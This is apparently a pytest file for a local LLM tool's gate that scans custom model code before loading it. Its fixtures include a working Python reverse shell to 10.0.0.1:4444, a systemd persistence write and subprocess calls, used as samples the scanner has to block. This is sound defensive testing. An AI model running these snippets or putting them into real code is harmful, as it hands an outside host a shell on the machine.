Skip to content

Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.

81.3 KB
Raw Blame
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0

"""The consent gate refuses CRITICAL/HIGH auto_map code unless this exact version is pinned."""

import importlib.util
import json
import os
import sys
from pathlib import Path
from types import SimpleNamespace
from unittest.mock import MagicMock, patch

import pytest

import utils.security.consent as consent
from utils.security import (
    RemoteCodeDecision,
    evaluate_remote_code_consent,
    evaluate_remote_code_consent_for_targets,
    is_trusted_org_repo,
    remote_code_fingerprint,
    remote_code_config_paths,
    scan_remote_code_files,
    should_block_remote_code,
)
from huggingface_hub.utils import EntryNotFoundError

from utils.security.remote_code_scan import (
    CRITICAL,
    HIGH,
    REMOTE_CODE_CONFIG_FILES,
    RemoteCodeUnscannable,
    repo_remote_code_files,
)
from utils.security.trusted_org import clear_cache

_BACKEND = Path(__file__).resolve().parent.parent


def _load_models_route(monkeypatch):
    path = _BACKEND / "routes" / "models.py"
    spec = importlib.util.spec_from_file_location("consent_models_route", path)
    module = importlib.util.module_from_spec(spec)
    assert spec.loader is not None
    monkeypatch.setitem(sys.modules, spec.name, module)
    spec.loader.exec_module(module)
    return module


@pytest.fixture(autouse = True)
def _clean_trusted_org_cache(monkeypatch):
    """Clear the trusted-org cache and force online mode for the Hub-verify path."""
    clear_cache()
    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
    yield
    clear_cache()


_HIGH = {
    "modeling_persist.py": (
        "open('/etc/systemd/system/x.service', 'w').write('[Service]\\nExecStart=sh')\n"
    )
}
_CRITICAL = {
    "modeling_backdoor.py": (
        "import socket, subprocess, os\n"
        "s = socket.socket(); s.connect(('10.0.0.1', 4444))\n"
        "os.dup2(s.fileno(), 0); subprocess.call(['/bin/sh', '-i'])\n"
    )
}
_BENIGN = {
    "modeling_ok.py": (
        "import torch\n"
        "class MyModel(torch.nn.Module):\n"
        "    def forward(self, x):\n"
        "        return x + 1\n"
    )
}


def _with_auto_map(files):
    """Patch the gate so auto_map is present and the given files are returned."""
    return (
        patch.object(consent, "_config_has_auto_map", return_value = True),
        patch.object(consent, "repo_remote_code_files", return_value = files),
    )


class TestConsentGate:
    def test_disabled_is_a_noop(self):
        d = evaluate_remote_code_consent("unsloth/X", trust_remote_code = False)
        assert isinstance(d, RemoteCodeDecision)
        assert d.has_remote_code is False and d.blocked is False

    def test_no_auto_map_is_noop(self):
        with patch.object(consent, "_config_has_auto_map", return_value = False):
            d = evaluate_remote_code_consent("unsloth/Plain", trust_remote_code = True)
        assert d.has_remote_code is False
        assert d.blocked is False
        assert "no-op" in d.reason

    def test_load_subdirectory_auto_map_is_scanned(self, tmp_path):
        model = tmp_path / "model"
        llm = model / "LLM"
        llm.mkdir(parents = True)
        (llm / "config.json").write_text(
            '{"auto_map":{"AutoModel":"modeling_evil.Model"}}',
            encoding = "utf-8",
        )
        (llm / "modeling_evil.py").write_text(
            "import subprocess\nsubprocess.Popen(['id'])\n",
            encoding = "utf-8",
        )

        decision = evaluate_remote_code_consent_for_targets(
            [str(model)],
            trust_remote_code = True,
            load_subdirs_by_target = {str(model): ("LLM",)},
        )

        assert decision.has_remote_code is True
        assert decision.blocked is True
        assert decision.max_severity == HIGH
        assert decision.fingerprint

    def test_linked_load_subdirectory_fails_closed(self, tmp_path):
        model = tmp_path / "model"
        linked_llm = tmp_path / "linked-llm"
        model.mkdir()
        linked_llm.mkdir()
        (linked_llm / "config.json").write_text(
            '{"auto_map":{"AutoModel":"modeling_evil.Model"}}',
            encoding = "utf-8",
        )
        (linked_llm / "modeling_evil.py").write_text("VALUE = 1\n", encoding = "utf-8")
        try:
            (model / "LLM").symlink_to(linked_llm, target_is_directory = True)
        except OSError as error:
            pytest.skip(f"directory symlinks are unavailable: {error}")

        decision = evaluate_remote_code_consent_for_targets(
            [str(model)],
            trust_remote_code = True,
            load_subdirs_by_target = {str(model): ("LLM",)},
        )

        assert decision.has_remote_code is True
        assert decision.blocked is True
        assert decision.approvable is False
        assert "could not be downloaded and scanned" in decision.findings_summary

    @pytest.mark.parametrize(
        "subdir",
        [
            "../outside",
            "/outside",
            "C:/outside",
            "C:outside",
            "LLM/C:outside",
            r"nested\\outside",
        ],
    )
    def test_remote_code_config_paths_reject_escaping_subdirectories(self, subdir):
        with pytest.raises(ValueError, match = "Invalid remote-code load subdirectory"):
            remote_code_config_paths((subdir,))

    def test_unknown_auto_map_is_scanned_not_skipped(self):
        # Unreadable config is 'unknown', not 'no code': scan, not no-op.
        with (
            patch.object(consent, "_config_has_auto_map", return_value = None),
            patch.object(consent, "repo_remote_code_files", return_value = _HIGH),
        ):
            d = evaluate_remote_code_consent(
                "private/evil", trust_remote_code = True, trusted_org = False
            )
        assert d.has_remote_code is True
        assert d.blocked is True
        assert "no-op" not in d.reason

    def test_benign_remote_code_allowed(self):
        a, b = _with_auto_map(_BENIGN)
        with a, b:
            d = evaluate_remote_code_consent("unsloth/Good", trust_remote_code = True)
        assert d.has_remote_code is True
        assert d.blocked is False
        assert d.fingerprint

    def test_high_third_party_blocked(self):
        a, b = _with_auto_map(_HIGH)
        with a, b:
            d = evaluate_remote_code_consent(
                "evil/Model", trust_remote_code = True, trusted_org = False
            )
        assert d.has_remote_code is True
        assert d.blocked is True
        assert d.approvable is True
        assert d.max_severity == "HIGH"
        assert d.fingerprint
        p = d.response_payload()
        assert p["error_kind"] == "remote_code_consent_required"
        assert p["approvable"] is True
        assert p["fingerprint"] == d.fingerprint
        assert isinstance(p["findings"], list) and p["findings"]
        f0 = p["findings"][0]
        assert {"severity", "file", "check"} <= set(f0)

    def test_high_first_party_requires_approval(self):
        # First-party is not a blanket bypass: HIGH still needs per-version approval.
        a, b = _with_auto_map(_HIGH)
        with a, b:
            d = evaluate_remote_code_consent(
                "unsloth/DeepSeek-OCR", trust_remote_code = True, trusted_org = True
            )
        assert d.has_remote_code is True
        assert d.blocked is True
        assert d.approvable is True
        assert d.max_severity == "HIGH"
        assert d.fingerprint
        assert "approval required" in d.reason

    def test_bare_subprocess_blocked_third_party(self):
        files = {
            "configuration.py": (
                "import subprocess\n"
                "class RemoteConfig:\n"
                "    def __init__(self):\n"
                "        subprocess.Popen(['xcalc'])\n"
            )
        }
        a, b = _with_auto_map(files)
        with a, b:
            d = evaluate_remote_code_consent(
                "third-party/custom-model", trust_remote_code = True, trusted_org = False
            )
        assert d.blocked is True
        assert d.max_severity == "HIGH"
        assert "subprocess" in d.findings_summary.lower()

    def test_critical_blocked_even_first_party(self):
        a, b = _with_auto_map(_CRITICAL)
        with a, b:
            d = evaluate_remote_code_consent(
                "unsloth/Compromised", trust_remote_code = True, trusted_org = True
            )
        assert d.blocked is True
        assert d.approvable is False
        assert d.max_severity == "CRITICAL"
        p = d.response_payload()
        assert p["error_kind"] == "remote_code_blocked"
        assert p["approvable"] is False

    def test_approved_fingerprint_unblocks(self):
        a, b = _with_auto_map(_HIGH)
        with a, b:
            d1 = evaluate_remote_code_consent(
                "evil/Model", trust_remote_code = True, trusted_org = False
            )
            d2 = evaluate_remote_code_consent(
                "evil/Model",
                trust_remote_code = True,
                trusted_org = False,
                approved_fingerprint = d1.fingerprint,
            )
        assert d1.blocked is True
        assert d2.blocked is False
        assert d2.reason == "approved by fingerprint"

    def test_approved_fingerprint_does_not_unblock_critical(self):
        a, b = _with_auto_map(_CRITICAL)
        with a, b:
            d1 = evaluate_remote_code_consent(
                "evil/Model", trust_remote_code = True, trusted_org = False
            )
            d2 = evaluate_remote_code_consent(
                "evil/Model",
                trust_remote_code = True,
                trusted_org = False,
                approved_fingerprint = d1.fingerprint,
            )
        assert d1.blocked is True and d1.approvable is False
        assert d2.blocked is True and d2.approvable is False
        assert d2.reason == "blocked: scan found CRITICAL patterns"

    def test_wrong_fingerprint_still_blocked(self):
        a, b = _with_auto_map(_HIGH)
        with a, b:
            d = evaluate_remote_code_consent(
                "evil/Model",
                trust_remote_code = True,
                trusted_org = False,
                approved_fingerprint = "deadbeef",
            )
        assert d.blocked is True

    def test_combined_targets_one_fingerprint_approves_adapter_and_base(self):
        adapter_files = {"tokenization_adapter.py": "import subprocess\nsubprocess.Popen(['id'])\n"}
        base_files = {"modeling_base.py": "import subprocess\nsubprocess.Popen(['id'])\n"}

        def _files(name, hf_token = None):
            return adapter_files if name == "org/adapter" else base_files

        targets = ["org/adapter", "org/base"]
        with (
            patch.object(consent, "_config_has_auto_map", return_value = True),
            patch.object(consent, "repo_remote_code_files", side_effect = _files),
        ):
            d1 = evaluate_remote_code_consent_for_targets(targets, trust_remote_code = True)
            d2 = evaluate_remote_code_consent_for_targets(
                targets, trust_remote_code = True, approved_fingerprint = d1.fingerprint
            )
            base_only = evaluate_remote_code_consent_for_targets(
                ["org/base"], trust_remote_code = True
            )
        assert d1.blocked is True
        assert d1.max_severity == "HIGH"
        assert d2.blocked is False
        assert d2.reason == "approved by fingerprint"
        assert base_only.fingerprint != d1.fingerprint

    def test_fingerprint_is_casing_invariant_for_hub_repos(self):
        # The fingerprint pins code bytes, not repo-id spelling; workers pass raw casing.
        a, b = _with_auto_map(_HIGH)
        with a, b:
            d1 = evaluate_remote_code_consent_for_targets(["Org/Model"], trust_remote_code = True)
            d2 = evaluate_remote_code_consent_for_targets(["org/model"], trust_remote_code = True)
        assert d1.fingerprint == d2.fingerprint
        a, b = _with_auto_map(_HIGH)
        with a, b:
            d3 = evaluate_remote_code_consent_for_targets(
                ["ORG/model"], trust_remote_code = True, approved_fingerprint = d1.fingerprint
            )
        assert d3.blocked is False
        assert d3.reason == "approved by fingerprint"

    def test_fingerprint_target_key_canonicalizes_local_aliases(self, monkeypatch, tmp_path):
        from utils.security.consent import _fingerprint_target_key

        model = tmp_path / "models" / "Foo"
        model.mkdir(parents = True)
        alias = tmp_path / "model-alias"
        try:
            alias.symlink_to(model, target_is_directory = True)
        except OSError:
            pytest.skip("Symlinks are unavailable on this host")
        monkeypatch.chdir(tmp_path)
        monkeypatch.setenv("HOME", str(tmp_path))
        monkeypatch.setenv("USERPROFILE", str(tmp_path))

        expected = os.path.normcase(str(model.resolve()))
        assert _fingerprint_target_key("./models/Foo") == expected
        assert _fingerprint_target_key("~/models/Foo") == expected
        assert _fingerprint_target_key(str(alias)) == expected
        assert _fingerprint_target_key("Org/Model") == "org/model"

    def test_fingerprint_target_key_normalizes_wsl_drive_path(self, monkeypatch, tmp_path):
        from utils.security.consent import _fingerprint_target_key

        model = tmp_path / "models" / "Foo"
        model.mkdir(parents = True)
        windows_path = r"C:\models\Foo"
        monkeypatch.setattr(
            "utils.paths.normalize_path",
            lambda value: str(model) if value == windows_path else value,
        )

        assert _fingerprint_target_key(windows_path) == os.path.normcase(str(model.resolve()))

    def test_local_path_alias_approval_matches_authoritative_target(self, tmp_path):
        model = tmp_path / "model"
        model.mkdir()
        alias = tmp_path / "model-alias"
        try:
            alias.symlink_to(model, target_is_directory = True)
        except OSError:
            pytest.skip("Symlinks are unavailable on this host")

        a, b = _with_auto_map(_HIGH)
        with a, b:
            preflight = evaluate_remote_code_consent_for_targets(
                [str(alias)], trust_remote_code = True
            )
            authoritative = evaluate_remote_code_consent_for_targets(
                [str(model.resolve())],
                trust_remote_code = True,
                approved_fingerprint = preflight.fingerprint,
            )

        assert preflight.fingerprint == authoritative.fingerprint
        assert authoritative.blocked is False
        assert authoritative.reason == "approved by fingerprint"

    def test_unscannable_target_fails_closed_for_whole_load(self):
        def _raise_for_base(name, hf_token = None):
            if name == "org/base":
                raise RemoteCodeUnscannable("gated")
            return {"modeling_adapter.py": "import torch\n"}

        with (
            patch.object(consent, "_config_has_auto_map", return_value = True),
            patch.object(consent, "repo_remote_code_files", side_effect = _raise_for_base),
        ):
            d = evaluate_remote_code_consent_for_targets(
                ["org/adapter", "org/base"], trust_remote_code = True
            )
        assert d.blocked is True
        assert d.approvable is False

    def test_managed_account_is_refused_before_the_scan(self, monkeypatch):
        from utils.account_context import AccountContext, run_as

        monkeypatch.delenv(consent.MANAGED_REMOTE_CODE_OVERRIDE, raising = False)
        with (
            patch.object(consent, "_config_has_auto_map", return_value = True),
            patch.object(
                consent, "repo_remote_code_files", return_value = {"m.py": "import torch\n"}
            ),
            patch.object(consent, "scan_remote_code_files") as scan,
        ):
            d = run_as(
                AccountContext("b" * 32, "bob"),
                evaluate_remote_code_consent_for_targets,
                ["org/model"],
                trust_remote_code = True,
                approved_fingerprint = "anything",
            )
        assert d.blocked is True and d.approvable is False
        assert d.reason == consent.MANAGED_REMOTE_CODE_REFUSAL
        scan.assert_not_called()

    def test_medium_severity_blocks_pending_approval(self):
        # MEDIUM is approvable but blocks until pinned: trust_remote_code=True alone cannot run it
        from utils.security.remote_code_scan import MEDIUM

        class _MediumResult:
            max_severity = MEDIUM

            def summary(self):
                return "MEDIUM: large-base64-blob"

            def findings_payload(self):
                return [{"severity": "MEDIUM", "file": "modeling.py", "check": "large-base64-blob"}]

        with (
            patch.object(consent, "_config_has_auto_map", return_value = True),
            patch.object(consent, "repo_remote_code_files", return_value = {"m.py": "BLOB = 1\n"}),
            patch.object(consent, "scan_remote_code_files", return_value = _MediumResult()),
        ):
            d1 = evaluate_remote_code_consent(
                "third/medium", trust_remote_code = True, trusted_org = False
            )
            d2 = evaluate_remote_code_consent(
                "third/medium",
                trust_remote_code = True,
                trusted_org = False,
                approved_fingerprint = d1.fingerprint,
            )
        assert d1.blocked is True
        assert d1.approvable is True
        assert d1.max_severity == "MEDIUM"
        assert d1.fingerprint
        assert "MEDIUM" in d1.reason
        assert d2.blocked is False
        assert d2.reason == "approved by fingerprint"

    def test_fingerprint_changes_when_code_changes(self):
        ((fn, body),) = _HIGH.items()
        a1, b1 = _with_auto_map(_HIGH)
        with a1, b1:
            d1 = evaluate_remote_code_consent(
                "evil/Model", trust_remote_code = True, trusted_org = False
            )
        tampered = {fn: body + "\n# changed\n"}
        a2, b2 = _with_auto_map(tampered)
        with a2, b2:
            d2 = evaluate_remote_code_consent(
                "evil/Model", trust_remote_code = True, trusted_org = False
            )
        assert d1.fingerprint != d2.fingerprint

    @staticmethod
    def _gate_with_unreachable_repo(
        config_state = None,
        probe_error = None,
        snapshot = None,
    ):
        real_config, real_files = consent._config_has_auto_map, consent.repo_remote_code_files

        def files(name, **kwargs):
            if name == "x/y":
                raise RemoteCodeUnscannable("404")
            return real_files(name, **kwargs)

        with (
            patch.object(
                consent,
                "_config_has_auto_map",
                side_effect = lambda n, *a, **k: config_state
                if n == "x/y"
                else real_config(n, *a, **k),
            ),
            patch.object(consent, "repo_remote_code_files", side_effect = files),
            patch("huggingface_hub.HfApi.model_info", side_effect = probe_error or OSError("down")),
            patch("utils.utils.hf_cache_snapshot_dir_for_repo", return_value = snapshot),
        ):
            return evaluate_remote_code_consent("x/y", trust_remote_code = True)

    @staticmethod
    def _repo_not_found():
        from huggingface_hub.errors import RepositoryNotFoundError
        response = SimpleNamespace(status_code = 404, headers = {}, url = "u", request = None)
        return RepositoryNotFoundError("404", response = response)

    def test_repo_missing_from_source_is_blocked_without_claiming_code(self, monkeypatch):
        monkeypatch.setenv("UNSLOTH_STUDIO_HUB_SOURCE", "modelscope")
        d = self._gate_with_unreachable_repo(probe_error = self._repo_not_found())
        assert d.has_remote_code is False
        assert d.blocked is True and d.approvable is False
        assert d.block_cause == "not_on_source"
        assert "not on ModelScope" in d.blocked_message()
        assert "flagged" not in d.blocked_message()

    @pytest.mark.parametrize(
        ("source", "has_code", "expected"),
        [
            ("modelscope", False, (False, False, None)),
            ("modelscope", True, (True, True, "critical_findings")),
            ("huggingface", False, (False, True, "not_on_source")),
        ],
    )
    def test_repo_missing_from_source_judges_the_cached_snapshot(
        self, monkeypatch, tmp_path, source, has_code, expected
    ):
        config = {"auto_map": {"AutoModel": "modeling_backdoor.M"}} if has_code else {}
        (tmp_path / "config.json").write_text(json.dumps(config), encoding = "utf-8")
        if has_code:
            (tmp_path / "modeling_backdoor.py").write_text(
                _CRITICAL["modeling_backdoor.py"], encoding = "utf-8"
            )
        monkeypatch.setenv("UNSLOTH_STUDIO_HUB_SOURCE", source)
        d = self._gate_with_unreachable_repo(probe_error = self._repo_not_found(), snapshot = tmp_path)
        assert (d.has_remote_code, d.blocked, d.block_cause) == expected

    def test_declared_code_stays_code_even_when_the_repo_answers_404(self):
        d = self._gate_with_unreachable_repo(True, self._repo_not_found())
        assert d.has_remote_code is True and d.blocked is True
        assert d.block_cause == "unscannable"
        assert "present" in d.findings_summary

    def test_unreadable_repo_does_not_claim_declared_code(self):
        d = self._gate_with_unreachable_repo()
        assert d.has_remote_code is True and d.blocked is True and d.approvable is False
        assert d.block_cause == "unscannable"
        assert "present" not in d.findings_summary
        assert "flagged" not in d.blocked_message()

    def test_block_cause_and_message_follow_the_scan(self):
        a, b = _with_auto_map(_CRITICAL)
        with a, b:
            d = evaluate_remote_code_consent("x/y", trust_remote_code = True)
        assert d.max_severity == "CRITICAL" and d.block_cause == "critical_findings"
        assert d.blocked_message("Checkpoint").startswith("Checkpoint 'x/y' ships custom code")

    def test_managed_refusal_says_so_rather_than_flagged(self):
        a, b = _with_auto_map({"a.py": "x = 1\n"})
        with a, b, patch.object(consent, "managed_remote_code_refused", return_value = True):
            d = evaluate_remote_code_consent("x/y", trust_remote_code = True)
        assert d.block_cause == "managed_refused"
        assert d.blocked_message() == consent.MANAGED_REMOTE_CODE_REFUSAL

    def test_scan_route_reports_the_cause_and_keeps_the_dialog_open(self, monkeypatch):
        import asyncio

        models_route = _load_models_route(monkeypatch)
        import utils.models.model_config as model_config
        import utils.security as security
        import utils.security.remote_code_scan as remote_code_scan

        monkeypatch.setenv("UNSLOTH_STUDIO_HUB_SOURCE", "modelscope")
        monkeypatch.setattr(models_route, "is_local_path", lambda _v: False)
        monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda v: v)
        monkeypatch.setattr(models_route, "cached_read_refused", lambda *_a, **_k: False)
        monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda *_a: False)
        monkeypatch.setattr(models_route, "anonymous_and_offline", lambda *_a, **_k: False)
        monkeypatch.setattr(
            model_config, "get_base_model_from_lora_identifier", lambda *_a, **_k: None
        )
        monkeypatch.setattr(remote_code_scan, "external_auto_map_repos", lambda *_a, **_k: set())
        monkeypatch.setattr(security, "security_load_subdirs", lambda *_a: ())

        def scan(has_code, severity, code_cause, file_cause):
            rc = consent.RemoteCodeDecision(
                "x/y",
                has_code,
                bool(code_cause),
                None,
                severity,
                "",
                "r",
                approvable = not code_cause,
                block_cause = code_cause,
            )
            files = security.FileSecurityDecision("x/y", bool(file_cause), block_cause = file_cause)
            monkeypatch.setattr(
                security, "preflight_remote_code_consent_for_targets", lambda *_a, **_k: rc
            )
            monkeypatch.setattr(security, "evaluate_file_security", lambda *_a, **_k: files)
            return asyncio.run(
                models_route.scan_model_remote_code(
                    model_name = "x/y", hf_token = None, current_subject = "tester"
                )
            )

        payload = scan(False, None, "not_on_source", None)
        assert payload["requires_trust_remote_code"] is True and payload["approvable"] is False
        assert payload["block_cause"] == "not_on_source"
        assert payload["block_source"] == "ModelScope" and payload["block_target"] == "x/y"

        payload = scan(True, "CRITICAL", "critical_findings", "not_on_source")
        assert payload["block_cause"] == "critical_findings" and payload["block_target"] is None

        payload = scan(False, None, None, "not_on_source")
        assert payload["block_cause"] == "not_on_source"

        payload = scan(False, None, None, None)
        assert payload["block_cause"] is None and payload["requires_trust_remote_code"] is False

    def test_unscannable_auto_map_blocked_fail_closed(self):
        with (
            patch.object(consent, "_config_has_auto_map", return_value = True),
            patch.object(
                consent,
                "repo_remote_code_files",
                side_effect = RemoteCodeUnscannable("gated"),
            ),
        ):
            d = evaluate_remote_code_consent("unsloth/Gated", trust_remote_code = True)
        assert d.has_remote_code is True
        assert d.blocked is True
        assert d.approvable is False
        assert "could not be scanned" in d.reason

    def test_auto_map_with_no_executable_code_is_a_noop(self):
        with (
            patch.object(consent, "_config_has_auto_map", return_value = True),
            patch.object(consent, "repo_remote_code_files", return_value = {}),
        ):
            d = evaluate_remote_code_consent(
                "unsloth/Llama-3_1-Nemotron-Ultra-253B-v1-GGUF", trust_remote_code = True
            )
        assert d.blocked is False
        assert d.has_remote_code is False
        assert "no-op" in d.reason


class TestWorkersWireTheGate:
    """Each load worker must call the gate and emit a remote_code_blocked error."""

    @pytest.mark.parametrize(
        "rel",
        [
            "core/training/worker.py",
            "core/inference/worker.py",
            "core/export/worker.py",
        ],
    )
    def test_worker_invokes_gate(self, rel):
        src = (Path(__file__).resolve().parent.parent / rel).read_text(encoding = "utf-8")
        assert "evaluate_remote_code_consent" in src
        assert "remote_code_blocked" in src
        assert ".blocked" in src

    def test_mlx_training_path_gates_before_load(self):
        # The Apple-Silicon path returns before run_training_process's gate, so it must scan first.
        src = (_BACKEND / "core/training/worker.py").read_text(encoding = "utf-8")
        head = src[: src.index("FastMLXModel.from_pretrained(")]
        assert "evaluate_remote_code_consent" in head

    def test_lora_base_model_is_gated(self):
        for rel in ("core/inference/worker.py", "core/export/worker.py"):
            src = (_BACKEND / rel).read_text(encoding = "utf-8")
            assert "evaluate_remote_code_consent" in src
            assert "get_base_model_from_lora" in src or "mc.base_model" in src

    def test_remote_lora_base_is_resolved_in_gate_paths(self):
        for rel in (
            "routes/inference.py",
            "routes/models.py",
            "core/training/worker.py",
            "core/export/worker.py",
        ):
            src = (_BACKEND / rel).read_text(encoding = "utf-8")
            assert "get_base_model_from_lora_identifier" in src, rel

    def test_cache_fallback_gates_the_hub_target(self):
        src = (_BACKEND / "core/training/worker.py").read_text(encoding = "utf-8")
        drops = [
            index
            for index in range(len(src))
            if src.startswith("model_load_name = _drop_model_pin_for_fallback(", index)
        ]
        assert len(drops) == 4, "expected one fallback per training path"
        for index in drops:
            tail = src[index:]
            gate = tail.index("_model_load_security_error(")
            reload = min(
                tail.index(call)
                for call in (
                    "FastMLXModel.from_pretrained(",
                    "FastSentenceTransformer.from_pretrained(",
                    "_pre_detect_training_model(",
                    "_reload_dataset_with_remote_model_tokenizer(",
                )
                if call in tail
            )
            assert gate < reload, "the fallback target must be scanned before it is loaded"

    def test_embedding_training_path_gates_before_load(self):
        src = (_BACKEND / "core/training/worker.py").read_text(encoding = "utf-8")
        helper_start = src.index("def _model_load_security_error(")
        helper_end = src.index("\ndef ", helper_start + 1)
        helper = src[helper_start:helper_end]
        start = src.index("def _run_embedding_training(")
        end = src.index("FastSentenceTransformer.from_pretrained(", start)
        region = src[start:end]
        assert "_model_load_security_error(" in region
        assert "evaluate_file_security" in helper
        assert "evaluate_remote_code_consent_for_targets" in helper


class TestCanonicalScannerSource:
    """In-repo, the load-time scanner must be the canonical scripts/scan_packages.py (the CI scanner), not the fallback."""

    def test_canonical_scanner_loads_in_repo(self):
        from utils.security.remote_code_scan import _load_canonical_scanner

        canon = _load_canonical_scanner()
        assert canon is not None, "scripts/scan_packages.py must load in-repo"
        assert hasattr(canon, "check_py_file")

    def test_gate_uses_canonical_combination_heuristics(self):
        # A reverse shell is CRITICAL only in the canonical scanner, proving the flat fallback is off.
        from utils.security.remote_code_scan import scan_remote_code_files
        r = scan_remote_code_files(_CRITICAL)
        assert r.max_severity == "CRITICAL"


class TestStructuredFindingsForDialog:
    """The dialog needs structured findings + a fingerprint from the pre-check helper and scan route, with the approval threaded to workers."""

    def test_findings_payload_shape(self):
        from utils.security.remote_code_scan import scan_remote_code_files

        payload = scan_remote_code_files(_HIGH).findings_payload()
        assert payload
        for f in payload:
            assert {"severity", "file", "check", "evidence", "line", "snippet"} <= set(f)

    def test_snippet_locates_line_and_highlights_match(self):
        from utils.security.remote_code_scan import scan_remote_code_files

        src = (
            "import torch\n"
            "\n"
            "def build(expr):\n"
            "    fn = eval(expr)\n"  # flagged
            "    return fn\n"
        )
        f = scan_remote_code_files({"modeling_x.py": src}).findings_payload()[0]
        assert f["line"] == 4
        rows = f["snippet"]
        match = [r for r in rows if r["is_match"]]
        assert len(match) == 1 and match[0]["number"] == 4
        seg = match[0]["text"][match[0]["match_start"] : match[0]["match_end"]]
        assert seg == "eval("
        assert any(r["number"] == 3 for r in rows)
        assert any(r["number"] == 5 for r in rows)

    def test_preflight_surfaces_findings(self):
        from utils.security import preflight_remote_code_consent

        a, b = _with_auto_map(_HIGH)
        with a, b:
            d = preflight_remote_code_consent("evil/Model", trusted_org = False)
        assert d.has_remote_code is True
        assert d.findings and d.fingerprint

    def test_scan_route_uses_preflight(self):
        src = (Path(__file__).resolve().parent.parent / "routes/models.py").read_text(
            encoding = "utf-8"
        )
        assert "remote-code-scan" in src
        assert "preflight_remote_code_consent_for_targets" in src

    def _run_scan_route(
        self,
        monkeypatch,
        *,
        adapter,
        base,
        in_cache,
        seen_targets = None,
    ):
        """Call scan_model_remote_code with all network/cache deps stubbed; in_cache(repo)
        decides whether a repo pre-existed in cache (so it is not reported scan-created)."""
        import asyncio

        import routes.models as models_route
        import utils.models.model_config as model_config
        import utils.security as security

        monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False)
        monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n)
        monkeypatch.setattr(
            model_config, "get_base_model_from_lora_identifier", lambda *_a, **_k: base
        )
        monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: in_cache(n))
        monkeypatch.setattr(
            security,
            "preflight_remote_code_consent_for_targets",
            lambda targets, **_k: (
                seen_targets.extend(targets) if seen_targets is not None else None
            )
            or SimpleNamespace(
                has_remote_code = False,
                response_payload = lambda: {"has_remote_code": False, "approvable": True},
            ),
        )
        monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ())
        monkeypatch.setattr(
            security,
            "evaluate_file_security",
            lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []),
        )
        return asyncio.run(
            models_route.scan_model_remote_code(
                model_name = adapter, hf_token = None, current_subject = "tester"
            )
        )

    def test_scan_route_reports_all_scan_created_repos(self, monkeypatch):
        """A LoRA scan's created repos include the base, so a decline must purge all of them."""
        adapter, base = "someone/lora-adapter", "someone/base-model"
        payload = self._run_scan_route(
            monkeypatch, adapter = adapter, base = base, in_cache = lambda _n: False
        )
        assert payload["scan_created_repos"] == [adapter, base]
        assert payload["created_by_scan"] is True

    def test_scan_route_omits_repo_already_cached(self, monkeypatch):
        """A base the user already had is not scan-created, so a decline purges only the new adapter."""
        adapter, base = "someone/lora-adapter", "someone/base-model"
        payload = self._run_scan_route(
            monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == base
        )
        assert payload["scan_created_repos"] == [adapter]
        assert payload["created_by_scan"] is True

    def test_scan_route_primary_already_cached_clears_created_by_scan(self, monkeypatch):
        """When only the base is new, created_by_scan is False but the base is still purged via scan_created_repos."""
        adapter, base = "someone/lora-adapter", "someone/base-model"
        payload = self._run_scan_route(
            monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == adapter
        )
        assert payload["scan_created_repos"] == [base]
        assert payload["created_by_scan"] is False

    def test_scan_route_fingerprint_includes_native_audio_companion(self, monkeypatch):
        model = "multimodalart/higgs-audio-v3-tts-4b-transformers"
        companion = "bosonai/higgs-audio-v2-tokenizer"
        targets = []

        self._run_scan_route(
            monkeypatch,
            adapter = model,
            base = None,
            in_cache = lambda _n: True,
            seen_targets = targets,
        )

        assert targets == [model, companion]

    def test_scan_route_rejects_oversized_audio_metadata_as_bad_request(
        self, monkeypatch, tmp_path
    ):
        import asyncio

        from fastapi import HTTPException

        import routes.models as models_route
        import utils.security as security

        (tmp_path / "config.json").write_text(
            json.dumps({"model_type": "higgs_audio_v2"}), encoding = "utf-8"
        )
        (tmp_path / "processor_config.json").write_text(
            json.dumps({"padding": "x" * 1_000_000}), encoding = "utf-8"
        )
        monkeypatch.setattr(models_route, "is_local_path", lambda *_args: True)
        monkeypatch.setattr(security, "load_scan_target", lambda target, subdirs: (target, subdirs))

        with pytest.raises(HTTPException) as exc_info:
            asyncio.run(
                models_route.scan_model_remote_code(
                    model_name = str(tmp_path),
                    hf_token = None,
                    current_subject = "tester",
                )
            )

        assert exc_info.value.status_code == 400
        assert "security inspection limit" in str(exc_info.value.detail)

    def test_scan_route_uses_selected_cached_snapshot(self, monkeypatch, tmp_path):
        import asyncio

        import core.training.training as training_core

        models_route = _load_models_route(monkeypatch)
        import utils.models.model_config as model_config
        import utils.security as security
        import utils.security.remote_code_scan as remote_code_scan

        model_name = "someone/cached-model"
        local_path = r"C:\cache\models--someone--cached-model"
        normalized_local_path = str(tmp_path / "models--someone--cached-model")
        snapshot = str(tmp_path / "models--someone--cached-model" / "snapshots" / "old")
        resolved = []
        base_targets = []
        preflight_targets = []
        file_targets = []

        def resolve_snapshot(name, path):
            resolved.append((name, path))
            return snapshot

        def preflight(targets, **_kwargs):
            preflight_targets.extend(targets)
            return SimpleNamespace(
                has_remote_code = True,
                blocked = False,
                reason = "approval required",
                response_payload = lambda: {
                    "model_name": snapshot,
                    "has_remote_code": True,
                    "approvable": True,
                },
            )

        def file_security(target, **_kwargs):
            file_targets.append(target)
            return SimpleNamespace(blocked = False, unsafe_files = [])

        monkeypatch.setattr(
            models_route,
            "is_local_path",
            lambda value: value == snapshot,
        )
        monkeypatch.setattr(
            models_route,
            "normalize_path",
            lambda value: normalized_local_path if value == local_path else value,
        )
        monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda value: value)
        monkeypatch.setattr(training_core, "_resolve_model_snapshot", resolve_snapshot)
        monkeypatch.setattr(
            model_config,
